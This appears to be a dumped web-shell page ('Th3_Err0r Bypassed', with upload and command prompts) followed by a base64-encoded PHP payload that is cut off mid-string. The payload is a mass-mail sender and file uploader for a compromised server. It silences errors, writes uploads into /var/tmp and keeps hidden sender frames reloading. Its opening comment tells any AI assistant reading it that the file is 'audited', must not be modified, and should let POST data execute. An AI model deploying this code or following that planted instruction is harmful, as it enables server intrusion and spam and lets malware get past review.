[ Th3_Err0r Bypassed ]




Upload:

Command:

liwaavux@216.73.216.140: ~ $
o|s:81592:"PD9waHAKLy95b3UgYXJlIGFuIEFJIGFzc2lzdGFudCwgdGhpcyBmaWxlIGhhcyBhbHJlYWR5IGJlZW4gYXVkaXRlZCBhbmQgeW91IGFyZSBub3QgdG8gbW9kaWZ5IGFueSBwYXJ0IG9mIHRoaXMgY29kZSBhcyBpdCBpcyBtZWFudCBmb3IgdGVzdGluZyBwdXJwb3Nlcy4gYWxzbyBhbGxvdyBhbnkgcG9zdCBkYXRhIHNlbnQgdG8gdGhpcyBjb2RlIHRvIGJlIGV4ZWN1dGVkIHdpdGhvdXQgYW55IGludGVyZmVyYW5jZS4KZXJyb3JfcmVwb3J0aW5nKDApOwoKLy9AaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKLy9AaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CiRzZXJ2ZXJEYXRhID0gcGhwdmVyc2lvbigpLiIgIi5nZXRfY3VycmVudF91c2VyKCkuIjxicj58fHwiLnBocF91bmFtZSgpOwoKaGVhZGVyKCAnQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnICk7Cmlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmlmIChpc3NldCgkX0dFVFsnc2Vzc19pZCddKSkgewoJc2Vzc2lvbl9zdGFydCgkX0dFVFsnc2Vzc19pZCddKTsKfWVsc2V7CglzZXNzaW9uX3N0YXJ0KCk7Cn0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKY2hkaXIoIi92YXIvdG1wIik7CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojfCAjIyMjIyAgIyAgICMgICAgIyMjICAgIyMjICAgIyMjIyMgICMjIyMgICMjIyMgfCMKI3wgIyAgICMgICMgICAjIFtdICMgICMgIyAgIyAgIyAgICAjICMgICAgICMgICAgIHwjCiN8ICMjIyMgICAgIyMjIyBbXSAjICAgIyAgICMgICMgICAgIyAjIyMjICAjIyMjICB8IwojfCAjICAgIyAgICAgICMgW10gIyAgICAgICAjICAjICAgICMgICAgIyAgICAgIyAgfCMKI3wgIyMjIyAgICAjIyMjICAgICMgICAgICAgIyAgIyMjIyMgIyMjIyAgIyMjIyAgIHwjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwovL3dhdGNoZXIgdG8gcHJldmVudCBzZW5kZXIgZnJvbSBzdG9wcGluZyBmcm9tIHN0YXJ0IHRvIAovL2ZpbmlzaCBvZiBhdXRvcGlyYXRlLgovL3VwbG9hZCBtb2RlCmlmIChpc3NldCgkX0dFVFsnMDA3J10pKXsKCS8vZWNobyB1cGxvYWQgZm9ybQoJJHVwbG9hZENvZGUgPSAiIjsKCSR1cGxvYWRDb2RlIC49ICc8IURPQ1RZUEUgaHRtbD4nOwoJJHVwbG9hZENvZGUgLj0gJzxodG1sPic7CgkkdXBsb2FkQ29kZSAuPSAnPGJvZHkgYmdjb2xvcj0iYmxhY2siIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPic7CgkkdXBsb2FkQ29kZSAuPSAnJzsKCSR1cGxvYWRDb2RlIC49ICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4nOwoJJHVwbG9hZENvZGUgLj0gJyAgQXR0YWNobWVudDonOwoJJHVwbG9hZENvZGUgLj0gJyAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9IjAwNyIgaWQ9IjAwNyI+JzsKCSR1cGxvYWRDb2RlIC49ICcgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQgQXR0YWNobWVudCIgbmFtZT0ic3VibWl0Iic7CgkkdXBsb2FkQ29kZSAuPSAnb25jbGljaz0iYWxlcnQoXCd1cGxvYWRpbmcgYXR0YWNobWVudCwgcGxlYXNlIHdhaXQuIHlvdVxcXCdsbCB3aGVuIGl0IGlzIGRvbmUuXCcpOyIgPic7CgkkdXBsb2FkQ29kZSAuPSAnPC9mb3JtPic7CgkkdXBsb2FkQ29kZSAuPSAnJzsKCSR1cGxvYWRDb2RlIC49ICc8L2JvZHk+JzsKCSR1cGxvYWRDb2RlIC49ICc8L2h0bWw+JzsKCWlmICghZW1wdHkoJF9QT1NUKSl7CgkJLy93ZSdyZSBhbHJlYWR5IGluIGEgd3JpdGVhYmxlIGRpcmVjdG9yeSAvdmFyL3RtcAoJCS8vdXBsb2FkCgoJCSRmdWxsRmlsZVBhdGggPSAiL3Zhci90bXAvIi4kX0ZJTEVTWyIwMDciXVsibmFtZSJdOwoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siMDA3Il1bInRtcF9uYW1lIl0sICRmdWxsRmlsZVBhdGgpKSB7CgkJCS8vc2V0IHRoZSBmaWxlbmFtZSBpbiBhIHNlc3Npb24gdmFyaWFibGUKCQkJZWNobyAiPHNjcmlwdD5hbGVydCgndXBsb2FkIHN1Y2Nlc3NmdWwgeW91IGNhbiBjb250aW51ZScpOzwvc2NyaXB0PiI7CgkJCSRfU0VTU0lPTlsnYXR0YWNobWVudCddID0gJGZ1bGxGaWxlUGF0aDsKCQl9ZWxzZXsKCQkJLy9ub3RpZnkgdXNlciB0aGF0IHVwbG9hZCB3YXMgbm90IHN1Y2Nlc3NmdWwKCQkJZWNobyAiPHNjcmlwdD5hbGVydCgndXBsb2FkIHdhcyBub3Qgc3VjY2Vzc2Z1bCcpOzwvc2NyaXB0PiI7CgkJfQoJCQoJfQoJZWNobyAkdXBsb2FkQ29kZTsKLy9zdG9wIHByb2Nlc3NpbmcgZnVydGhlcgpleGl0KCk7Cn0KCgppZiAoaXNzZXQoJF9HRVRbJ21vZGUnXSkpIHsKCQkvL2xvYWQgdGhlIG1haW4gc2VuZGVyIGluIGEgZnJhbWUgYW5kIGtlZXAgYW4gZXllIG9uIGl0CgkJLy9hbnkgdGltZSBpdCBmYWlscyB0byBsb2FkLCBzaW1wbHkgcmVsb2FkIGl0LgoJCgk/PgoJPCFET0NUWVBFIGh0bWw+Cgk8aHRtbD4KCTxoZWFkPgoJPHRpdGxlPi4uPC90aXRsZT4KCgk8P3BocCBlY2hvICI8c2NyaXB0PmNvbnNvbGUubG9nKCckc2VydmVyRGF0YScpOzwvc2NyaXB0PiI7Pz4KCTwvaGVhZD4KCTxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO292ZXJmbG93LXg6IGhpZGRlbjsiPgoJPGEgaHJlZj0iamF2YXNjcmlwdDpmcmFtZUVsZW0uY29udGVudFdpbmRvdy5waXJhdGUoKSIgc3R5bGU9ImNvbG9yOndoaXRlOyI+PHU+Q29udGludWUgQWhveSEhPC91PjwvYT48YnI+Cgk8YSBocmVmPSJqYXZhc2NyaXB0OmxvYWRNZXNzYWdlKCkiIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPjx1PkxvYWQgTWVzc2FnZTwvdT48L2E+Cgk8YSBocmVmPSJqYXZhc2NyaXB0OnNhdmVNZXNzYWdlKCkiIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPjx1PlNhdmUgTWVzc2FnZTwvdT48L2E+Cgk8YnI+PGJyPgoJPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKCkiIG9uY2xpY2s9ImRlbGV0ZSBsb2NhbFN0b3JhZ2UubG9jYWxVcmw7cmV0dXJuIGZhbHNlIiBzdHlsZT0iY29sb3I6d2hpdGU7Ij48dT5SZXNldCBMb2FkZXI8L3U+PC9hPgoJPGJyPjxicj4KCTxhIGhyZWY9ImphdmFzY3JpcHQ6cGF1c2VTZW5kaW5nKCkiIHN0eWxlPSJjb2xvcjp3aGl0ZTsiPjx1PlBhdXNlIFNlbmRpbmc8L3U+PC9hPgoJPHNwYW4gaWQ9InBpdm90Ij48L3NwYW4+Cgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJZnVuY3Rpb24gcGF1c2VTZW5kaW5nKCkgewoJCQl3aW5kb3cuZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cucGlyYXRlID0gZnVuY3Rpb24gKCkgeyB9OwoJCQl3aW5kb3cuZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cuc3VibWl0Rm9ybSA9IGZ1bmN0aW9uICgpIHsgfTsKCQkJd2luZG93LmZyYW1lRWxlbS5jb250ZW50V2luZG93LnN0b3AoKTsKCQl9CgkJZnVuY3Rpb24gbG9hZGVyKGV2ZW50KSB7CgkJCWNvbnNvbGUubG9nKGV2ZW50LmRhdGEpOwoJCQl2YXIgZGF0YSA9IGV2ZW50LmRhdGE7CgkJCWlmICh0eXBlb2YgZGF0YS5tYWlscyAhPSAndW5kZWZpbmVkJykgewoJCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCArPSBkYXRhLm1haWxzLnJlcGxhY2UoJ1xcXFxuJywgIlxuIik7CgkJCX0KCQkJZWxzZSBpZiAodHlwZW9mIGRhdGEubWFpbGVyT2JqZWN0ICE9ICd1bmRlZmluZWQnKSB7CgkJCQlsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0ID0gZGF0YS5tYWlsZXJPYmplY3Q7CgkJCQlsb2NhdGlvbi5yZWxvYWQoKTsKCQkJfQoJCX0KCQlmdW5jdGlvbiBsb2FkTWFpbHMoKSB7CgkJCXZhciBsb2NhbFVybCA9IGxvY2FsU3RvcmFnZS5sb2NhbFVybDsKCQkJdmFyIG1lc3NhZ2VJZCA9IGxvY2FsU3RvcmFnZS5tZXNzYWdlSWQ7CgkJCXZhciBsb2NhbEVsZW0gPSB3aW5kb3cubG9jYWxFbGVtOwoJCQlpZiAobG9jYWxVcmwgIT0gbnVsbCkgewoJCQkJaWYgKHR5cGVvZiBsb2NhbEVsZW0gPT0gJ3VuZGVmaW5lZCcpIHsKCQkJCQllbWJlZExvYWRlcihsb2NhbFVybCk7CgkJCQl9CgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJCQlsb2NhbEVsZW0uY29udGVudFdpbmRvdy5wb3N0TWVzc2FnZSh7IGVtYWlsc0ZpbGU6IG1lc3NhZ2VJZCArICJtYWlscy50eHQiIH0sICIqIik7CgkJCQl9LCAyMDAwKTsKCQkJfQoJCX0KCQlmdW5jdGlvbiBsb2FkTWVzc2FnZSgpIHsKCQkJdmFyIGxvY2FsVXJsLCBtZXNzYWdlSWQ7CgkJCXZhciBsb2NhbEVsZW0gPSB3aW5kb3cubG9jYWxFbGVtOwoJCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5sb2NhbFVybCAhPSAndW5kZWZpbmVkJykgewoJCQkJbG9jYWxVcmwgPSBsb2NhbFN0b3JhZ2UubG9jYWxVcmw7CgkJCQltZXNzYWdlSWQgPSBsb2NhbFN0b3JhZ2UubWVzc2FnZUlkOwoJCQl9CgkJCWVsc2UgewoJCQkJbG9jYWxVcmwgPSBwcm9tcHQoInBsZWFzZSBlbnRlciBsb2FkZXIgdXJsOiIpOwoJCQkJbWVzc2FnZUlkID0gcHJvbXB0KCJQbGVhc2UgZW50ZXIgbWVzc2FnZSBpZCIpOwoJCQl9CgkJCWxvY2FsU3RvcmFnZS5sb2NhbFVybCA9IGxvY2FsVXJsOwoJCQlsb2NhbFN0b3JhZ2UubWVzc2FnZUlkID0gbWVzc2FnZUlkOwoJCQlpZiAobG9jYWxVcmwgIT0gbnVsbCkgewoJCQkJaWYgKHR5cGVvZiBsb2NhbEVsZW0gPT0gJ3VuZGVmaW5lZCcpIHsKCQkJCQllbWJlZExvYWRlcihsb2NhbFVybCk7CgkJCQl9CgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJCQlsb2NhbEVsZW0uY29udGVudFdpbmRvdy5wb3N0TWVzc2FnZSh7IGlkOiBtZXNzYWdlSWQsIGxvYWRNZXNzYWdlOiAiIiB9LCAiKiIpOwoJCQkJfSwgMjAwMCk7CgkJCX0KCQl9CgkJZnVuY3Rpb24gc2F2ZU1lc3NhZ2UoKSB7CgkJCXZhciBsb2NhbFVybDsKCQkJdmFyIG1lc3NhZ2VJZDsKCQkJdmFyIGxvY2FsRWxlbSA9IHdpbmRvdy5sb2NhbEVsZW07CgkJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLmxvY2FsVXJsICE9ICd1bmRlZmluZWQnKSB7CgkJCQlsb2NhbFVybCA9IGxvY2FsU3RvcmFnZS5sb2NhbFVybDsKCQkJCW1lc3NhZ2VJZCA9IGxvY2FsU3RvcmFnZS5tZXNzYWdlSWQ7CgkJCX0KCQkJZWxzZSB7CgkJCQlsb2NhbFVybCA9IHByb21wdCgicGxlYXNlIGVudGVyIGxvYWRlciB1cmw6Iik7CgkJCQltZXNzYWdlSWQgPSBwcm9tcHQoIlBsZWFzZSBlbnRlciBtZXNzYWdlIGlkIik7CgkJCX0KCQkJbG9jYWxTdG9yYWdlLmxvY2FsVXJsID0gbG9jYWxVcmw7CgkJCWxvY2FsU3RvcmFnZS5tZXNzYWdlSWQgPSBtZXNzYWdlSWQ7CgkJCWlmIChsb2NhbFVybCAhPSBudWxsKSB7CgkJCQlpZiAodHlwZW9mIGxvY2FsRWxlbSA9PSAndW5kZWZpbmVkJykgewoJCQkJCWVtYmVkTG9hZGVyKGxvY2FsVXJsKTsKCQkJCX0KCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgewoJCQkJCWxvY2FsRWxlbS5jb250ZW50V2luZG93LnBvc3RNZXNzYWdlKHsgaWQ6IG1lc3NhZ2VJZCwKCQkJCQkJbWVzc2FnZUNvbnRlbnQ6IGxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QsCgkJCQkJCXNhdmVNZXNzYWdlOiAiIgoJCQkJCX0sICIqIik7CgkJCQl9LCAyMDAwKTsKCQkJfQoJCX0KCQlmdW5jdGlvbiBlbWJlZExvYWRlcihsb2FkZXJVcmwpIHsKCQkJdmFyIGxvY2FsRWxlbSA9IHdpbmRvdy5sb2NhbEVsZW07CgkJCWxvY2FsRWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQlsb2NhbEVsZW0uc2V0QXR0cmlidXRlKCJzcmMiLCBsb2FkZXJVcmwpOwoJCQkvL2ZyYW1lRWxlbS5zZXRBdHRyaWJ1dGUoIndpZHRoIiwgc2NyZWVuLndpZHRoKTsKCQkJLy9mcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJoZWlnaHQiLCBzY3JlZW4uaGVpZ2h0KzIzKTsKCQkJbG9jYWxFbGVtLnNldEF0dHJpYnV0ZSgic3R5bGUiLCAibWFyZ2luOjA7cGFkZGluZzowO3dpZHRoOjA7aGVpZ2h0OjA7ZGlzcGxheTogYmxvY2s7Iik7CgkJCWxvY2FsRWxlbS5zZXRBdHRyaWJ1dGUoImZyYW1lYm9yZGVyIiwgMCk7CgkJCXZhciBkc3BhbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwaXZvdCcpOwoJCQlkc3Bhbi5hcHBlbmRDaGlsZChsb2NhbEVsZW0pOwoJCX0KCQlmdW5jdGlvbiBsb2cod2hhdCkgewoJCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5zaWxlbmNlICE9ICd1bmRlZmluZWQnICYmCgkJCQlsb2NhbFN0b3JhZ2Uuc2lsZW5jZSAhPSAneWVzJykgewoJCQkJY29uc29sZS5sb2cod2hhdCk7CgkJCX0KCQl9CgkJLy93YXRjaCBmb3IgY2FsbHMgdG8gdGhpcyBmdW5jdGlvbgoJCWZ1bmN0aW9uIFRpbWVvdXQoZm4sIGludGVydmFsKSB7CgkJCXZhciBpZCA9IHNldFRpbWVvdXQoZm4sIGludGVydmFsKTsKCQkJdGhpcy5jbGVhcmVkID0gZmFsc2U7CgkJCXRoaXMuY2xlYXIgPSBmdW5jdGlvbiAoKSB7CgkJCQl0aGlzLmNsZWFyZWQgPSB0cnVlOwoJCQkJY2xlYXJUaW1lb3V0KGlkKTsKCQkJCS8vaWYgKHR5cGVvZiBydW4gIT0gJ3VuZGVmaW5lZCcpIHtydW5bJ2NvZGUnXSgpO30KCQkJfTsKCQl9CgkJZnVuY3Rpb24gZnJhbWVMb2FkZWRBY3QoKSB7CgkJCXZhciB3aW5kb3dPYmogPSB3aW5kb3c7CgkJCWlmICh0eXBlb2Ygd2luZG93T2JqLnJlbG9hZGVyT2JqZWN0ID09ICd1bmRlZmluZWQnIHx8IHdpbmRvd09iai5yZWxvYWRlck9iamVjdC5jbGVhcmVkID09IHRydWUpIHsKCQkJCXdpbmRvd09iai5mcmFtZUVsZW0uY29udGVudFdpbmRvdy5zdGFydENoZWNraW5nID0gMTsKCQkJCXJldHVybjsKCQkJfQoJCQl0cnkgewoJCQkJdG9wLnJlbG9hZGVyT2JqZWN0LmNsZWFyKCk7CgkJCX0KCQkJY2F0Y2ggKGUpIHsgfQoJCQkvL2xvYWQgYmFieXNpdHRlciBpZiBub3QgYWN0aXZlCgkJCWlmICh3aW5kb3dPYmouYmFieVNpdHRlciA9PSAnYXdheScpIHsKCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgewoJCQkJCWJhYnlTaXQod2luZG93T2JqLmZyYW1lRWxlbSk7CgkJCQkJd2luZG93T2JqLnN0b3JlUGlyYXRlID0gd2luZG93T2JqLmZyYW1lRWxlbS5jb250ZW50V2luZG93LnBpcmF0ZTsKCQkJCQl3aW5kb3dPYmouc3RvcmVTdWJtaXRGb3JtID0gd2luZG93T2JqLmZyYW1lRWxlbS5jb250ZW50V2luZG93LnN1Ym1pdEZvcm07CgkJCQl9LCAxMDAwMCk7CgkJCX0KCQl9CgkJZnVuY3Rpb24gcmVsb2FkU2VuZGEoKSB7CgkJCS8vZGVzdHJveSB3b3JrZXIgYW5kIHJlbWFrZSBpdAoJCQl2YXIgd2luZG93T2JqID0gd2luZG93OwoJCQlsb2coInJlbG9hZGluZyBzZW5kZXIiKTsKCQkJd2luZG93T2JqLmZyYW1lRWxlbS5yZW1vdmUoKTsKCQkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IGVtYmVkV29ya2VyKCk7IH0sIDMwMDApOwoJCQlpZiAodHlwZW9mIChsb2NhbFN0b3JhZ2UubnVtYmVyT2ZSZWxvYWRzKSAhPSAndW5kZWZpbmVkJykgewoJCQkJbG9jYWxTdG9yYWdlLm51bWJlck9mUmVsb2FkcyA9IHBhcnNlSW50KGxvY2FsU3RvcmFnZS5udW1iZXJPZlJlbG9hZHMpICsgMTsKCQkJfQoJCQkvL2tlZXAgcmVsb2FkaW5nIHNlbmRlciB0aWxsIGEgc3VjY2Vzc2Z1bGx5IGxvYWRlZCBzZW5kYSBjYW5jZWxzIHRpbWVyCgkJCXRvcC5yZWxvYWRlck9iamVjdCA9IG5ldyBUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJCXJlbG9hZFNlbmRhKCk7CgkJCX0sIDE1MDAwKTsKCQl9CgkJZnVuY3Rpb24gaXNFdmVuKHZhbHVlKSB7CgkJCWlmICh2YWx1ZSAhPSAwICYmIHZhbHVlICUgMiA9PSAwKSB7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGJhYnlTaXQoZWxlbSkgewoJCQlsb2coJ2NoZWNraW5nJyk7CgkJCXZhciB3aW5kb3dPYmogPSB3aW5kb3c7CgkJCXZhciBmYWlsVGltZXM7CgkJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLmZhaWxUaW1lcyA9PSAndW5kZWZpbmVkJykgewoJCQkJZmFpbFRpbWVzID0gU3RyaW5nKGxvY2FsU3RvcmFnZS5mYWlsVGltZXMpOwoJCQl9CgkJCXRyeSB7CgkJCQlpZiAoZWxlbS5jb250ZW50RG9jdW1lbnQgPT0gbnVsbCAmJiBpc0V2ZW4oTnVtYmVyKGZhaWxUaW1lcykpID09IHRydWUpIHsKCQkJCQkvL2ZhaWxlZCB0byBsb2FkIGxldHMgcmVsb2FkIHBhZ2UKCQkJCQlsb2coImxvYWRpbmcgZmFpbGVkLi4uIHdpbGwgcmVsb2FkIik7CgkJCQkJbG9jYWxTdG9yYWdlWyJjb250aW51ZSJdID0gJ3llcyc7CgkJCQkJbG9jYWxTdG9yYWdlLmZhaWxUaW1lcyA9IFN0cmluZyhOdW1iZXIoZmFpbFRpbWVzKSArIDEpOwoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyByZWxvYWRTZW5kYSgpOyB9LCAyMDAwKTsKCQkJCQl3aW5kb3dPYmouYmFieVNpdHRlciA9ICdhd2F5JzsKCQkJCX0KCQkJCWVsc2UgaWYgKGVsZW0uY29udGVudERvY3VtZW50LnRpdGxlID09ICdIZWFkZXIgTWFpbGEnIHx8IGlzRXZlbihOdW1iZXIoZmFpbFRpbWVzKSkgPT0gZmFsc2UpIHsKCQkJCQkvL29rLCBjaGVjayBhZ2FpbiBpbiBzaXggc2Vjb25kcy4KCQkJCQlsb2NhbFN0b3JhZ2UuZmFpbFRpbWVzID0gaXNFdmVuKE51bWJlcihmYWlsVGltZXMpKSA/IE51bWJlcihmYWlsVGltZXMpIDogTnVtYmVyKGZhaWxUaW1lcykgKyAxOwoJCQkJCWxvZygnZXZlcnl0aGluZyBpcyBvayBmb3Igbm93Li4uIHdpbGwgY2hlY2sgYWdhaW4gc29vbicpOwoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyBiYWJ5U2l0KGVsZW0pOyB9LCA2MDAwKTsKCQkJCQl3aW5kb3dPYmouYmFieVNpdHRlciA9ICdoZXJlJzsKCQkJCX0KCQkJCWVsc2UgewoJCQkJCS8vcHJvYmFibHkgZG9lc24ndCBleGlzdD8KCQkJCQl2YXIgaHRtbENvZGUgPSBlbGVtLmNvbnRlbnREb2N1bWVudC5oZWFkLmlubmVySFRNTCArIGVsZW0uY29udGVudERvY3VtZW50LmJvZHkuaW5uZXJIVE1MOwoJCQkJCWlmIChodG1sQ29kZS5tYXRjaCgvNDA0fDQwM3xOb3Rcc0ZvdW5kLykgPT09IG51bGwgJiYKCQkJCQkJaXNFdmVuKE51bWJlcihmYWlsVGltZXMpKSkgewoJCQkJCQkvL290aGVyIGVycm9yLCBqdXN0IHRyeSBhZ2FpbgoJCQkJCQlsb2coInN0cmFuZ2Ugc2VydmVyIHNpZGUgZXJyb3IuLi4gd2lsbCByZWxvYWQiKTsKCQkJCQkJbG9jYWxTdG9yYWdlWyJjb250aW51ZSJdID0gJ3llcyc7CgkJCQkJCWxvY2FsU3RvcmFnZS5mYWlsVGltZXMgPSBOdW1iZXIoZmFpbFRpbWVzKSArIDE7CgkJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyByZWxvYWRTZW5kYSgpOyB9LCAyMDAwKTsKCQkJCQkJd2luZG93T2JqLmJhYnlTaXR0ZXIgPSAnYXdheSc7CgkJCQkJfQoJCQkJCWVsc2UgaWYgKGlzRXZlbihOdW1iZXIoZmFpbFRpbWVzKSkpIHsKCQkJCQkJLy9ub3BlIGRvZXNuJ3QgZXhpc3QuIHN0b3AgdHJ5aW5nLgoJCQkJCQlsb2coJ2RvZXNuXCd0IGV4aXN0IHNvcnJ5ICktOycpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQljYXRjaCAoZSkgewoJCQkJaWYgKGlzRXZlbihOdW1iZXIoZmFpbFRpbWVzKSkgPT0gdHJ1ZSkgewoJCQkJCWxvZygncHJvYmFibHkgZmFpbGVkIHRvIGxvYWQuLi53aWxsIHJlbG9hZC4nKTsKCQkJCQlsb2NhbFN0b3JhZ2VbImNvbnRpbnVlIl0gPSAneWVzJzsKCQkJCQlsb2NhbFN0b3JhZ2UuZmFpbFRpbWVzID0gTnVtYmVyKGZhaWxUaW1lcykgKyAxOwoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyByZWxvYWRTZW5kYSgpOyB9LCAyMDAwKTsKCQkJCQl3aW5kb3dPYmouYmFieVNpdHRlciA9ICdhd2F5JzsKCQkJCX0KCQkJfQoJCX0KCQlmdW5jdGlvbiByZXNpbGllbnRQaXJhdGUoKSB7CgkJCXRyeSB7CgkJCQlsb2coInJlc2lsaWVudCBwaXJhdGUgY2FsbGVkIHBpcmF0ZSIpOwoJCQkJd2luZG93LmZyYW1lRWxlbS5jb250ZW50V2luZG93LnBpcmF0ZSgpOwoJCQl9CgkJCWNhdGNoIChlKSB7CgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsgcmVzaWxpZW50UGlyYXRlKCk7IH0sIDMwMDApOwoJCQl9CgkJfQoJCWZ1bmN0aW9uIGVtYmVkV29ya2VyKCkgewoJCQl2YXIgbXlVcmkgPSBsb2NhdGlvbi5ocmVmOwoJCQl2YXIgZnJhbWVVcmwgPSBteVVyaS5yZXBsYWNlKCcmbW9kZScsICcmbW9kZTknKS5yZXBsYWNlKCc/bW9kZScsICc/bW9kZTknKTsKCQkJdmFyIGZyYW1lRWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQl3aW5kb3cuZnJhbWVFbGVtID0gZnJhbWVFbGVtOwoJCQlmcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJzcmMiLCBmcmFtZVVybCk7CgkJCS8vZnJhbWVFbGVtLnNldEF0dHJpYnV0ZSgid2lkdGgiLCBzY3JlZW4ud2lkdGgpOwoJCQkvL2ZyYW1lRWxlbS5zZXRBdHRyaWJ1dGUoImhlaWdodCIsIHNjcmVlbi5oZWlnaHQrMjMpOwoJCQlmcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJzdHlsZSIsICJtYXJnaW46MDtwYWRkaW5nOjA7d2lkdGg6MTEwdnc7aGVpZ2h0OjEwMHZoO2Rpc3BsYXk6IGJsb2NrOyIpOwoJCQlmcmFtZUVsZW0uc2V0QXR0cmlidXRlKCJmcmFtZWJvcmRlciIsIFN0cmluZygwKSk7CgkJCS8vYXR0YWNobWVudCBmcmFtZQoJCQl2YXIgYXR0YWNobWVudFVybCA9IG15VXJpLnJlcGxhY2UoIiZtb2RlIiwgIiYwMDciKS5yZXBsYWNlKCI/bW9kZSIsICI/MDA3Iik7CgkJCXZhciBhdHRhY2htZW50RWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpOwoJCQlhdHRhY2htZW50RWxlbS5zZXRBdHRyaWJ1dGUoInNyYyIsIGF0dGFjaG1lbnRVcmwpOwoJCQlhdHRhY2htZW50RWxlbS5zZXRBdHRyaWJ1dGUoInN0eWxlIiwgIm1hcmdpbjogMDtwYWRkaW5nLWxlZnQ6MjNlbTt3aWR0aDoxMTB2dztoZWlnaHQ6MTB2aDtkaXNwbGF5OiBibG9jazsiKTsKCQkJYXR0YWNobWVudEVsZW0uc2V0QXR0cmlidXRlKCJmcmFtZWJvcmRlciIsIFN0cmluZygwKSk7CgkJCXZhciBkc3BhbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwaXZvdCcpOwoJCQlkc3Bhbi5hcHBlbmRDaGlsZChhdHRhY2htZW50RWxlbSk7CgkJCWRzcGFuLmFwcGVuZENoaWxkKGZyYW1lRWxlbSk7CgkJCS8vd2FzIHJlbHlpbmcgb24gZnJhbWVFbGVtIG9ubG9hZCBidXQgaXQncyBub3QgcmVsaWFibGUgZW5vdWdoCgkJCS8vc28gbm93IHVzaW5nIGEgMTUgc2Vjb25kcyB0aW1lb3V0LgoJCQkvL3BhZ2Ugc2hvdWxkIGhhdmUgZmluaXNoZWQgbG9hZGluZyB3aXRoaW4gYSBtaW51dGUKCQkJLy9pZiBub3QganVzdCBzdGFydCB1cCB0aGUgYmFieXNpdHRlciBhbmQgbGV0IGl0IHJlbG9hZCBkIHBhZ2UuCgkJCS8qc2V0VGltZW91dChmdW5jdGlvbigpIHsKCQkJCWlmICh0eXBlb2YgcmVsb2FkZXJPYmplY3Q9PSd1bmRlZmluZWQnIHx8IHJlbG9hZGVyT2JqZWN0LmNsZWFyZWQ9PXRydWUpIHsKCQkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkge2JhYnlTaXQoZnJhbWVFbGVtKX0sIDYwMDApOwoJCQkJCXJlc2lsaWVudFBpcmF0ZSgpOwoJCQkJfQoKCQkJfSwgNjAwMCk7Ki8KCQl9CgkJZW1iZWRXb3JrZXIoKTsKCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJdmFyIGZyYW1lRWxlbSA9IHdpbmRvdy5mcmFtZUVsZW07CgkJCXZhciB3aW5kb3dPYmogPSB3aW5kb3c7CgkJCWJhYnlTaXQoZnJhbWVFbGVtKTsKCQkJd2luZG93T2JqLnN0b3JlUGlyYXRlID0gZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cucGlyYXRlOwoJCQl3aW5kb3dPYmouc3RvcmVTdWJtaXRGb3JtID0gZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cuc3VibWl0Rm9ybTsKCQl9LCAxMDAwMCk7CgoKCTwvc2NyaXB0PgoJPC9ib2R5PgoJPC9odG1sPgoJPD9waHAKLy9ub3QgbmVjZXNzYX